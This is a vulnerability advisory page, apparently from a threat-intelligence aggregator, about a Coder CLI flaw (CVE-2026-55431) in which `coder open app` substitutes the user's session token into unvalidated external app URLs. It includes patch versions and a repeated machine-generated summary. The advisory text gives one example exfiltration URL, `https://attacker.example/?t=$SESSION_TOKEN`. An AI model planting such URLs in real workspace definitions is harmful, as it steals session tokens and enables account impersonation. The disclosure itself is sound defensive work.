V2: Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps (CVE-2026-55431)
### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
AI Analysis
Technical Summary
`coder open app` in github.com/coder/coder/v2 replaces the `$SESSION_TOKEN` placeholder in external workspace app URLs with the user's real session token without validating the URL scheme or host. An attacker controlling a workspace's external app URL can craft a URL that exfiltrates the session token when the user runs this command, enabling full account impersonation. The vulnerability requires user interaction and control over the workspace's external app definition. The fix introduces a URL scheme allowlist and limits token substitution to trusted destinations. Patched versions include 2.34.2, 2.33.8, 2.32.7, and 2.29.17.
Potential Impact
An attacker who controls the external app URL in a workspace can cause the user's session token to be leaked to an arbitrary host when the user runs `coder open app`. This enables full account impersonation for the duration of the token's validity. The vulnerability requires the victim to run the command on a malicious workspace, so exploitation depends on user action and attacker control of workspace contents. The vulnerability does not affect availability but compromises confidentiality and integrity of the user's session.
Mitigation Recommendations
Apply the official patches by upgrading to one of the fixed versions: 2.34.2, 2.33.8, 2.32.7, or 2.29.17. Until patched, avoid running `coder open app` on untrusted workspaces to prevent session token leakage. The vendor has implemented a URL scheme allowlist and restricted token substitution to trusted destinations in these fixes.
V2: Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps (CVE-2026-55431)
Description
### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
CVSS v3.1
Score 7.7high
Affected software
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AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
`coder open app` in github.com/coder/coder/v2 replaces the `$SESSION_TOKEN` placeholder in external workspace app URLs with the user's real session token without validating the URL scheme or host. An attacker controlling a workspace's external app URL can craft a URL that exfiltrates the session token when the user runs this command, enabling full account impersonation. The vulnerability requires user interaction and control over the workspace's external app definition. The fix introduces a URL scheme allowlist and limits token substitution to trusted destinations. Patched versions include 2.34.2, 2.33.8, 2.32.7, and 2.29.17.
Potential Impact
An attacker who controls the external app URL in a workspace can cause the user's session token to be leaked to an arbitrary host when the user runs `coder open app`. This enables full account impersonation for the duration of the token's validity. The vulnerability requires the victim to run the command on a malicious workspace, so exploitation depends on user action and attacker control of workspace contents. The vulnerability does not affect availability but compromises confidentiality and integrity of the user's session.
Mitigation Recommendations
Apply the official patches by upgrading to one of the fixed versions: 2.34.2, 2.33.8, 2.32.7, or 2.29.17. Until patched, avoid running `coder open app` on untrusted workspaces to prevent session token leakage. The vendor has implemented a URL scheme allowlist and restricted token substitution to trusted destinations in these fixes.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-v54h-cp2w-9x4g
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-55431"]
- Ecosystems
- ["Go"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a4c340327e9c797195f5f36
Added to database: 07/06/2026, 23:02:27 UTC
Last enriched: 07/06/2026, 23:12:20 UTC
Last updated: 07/31/2026, 19:22:59 UTC
Views: 23
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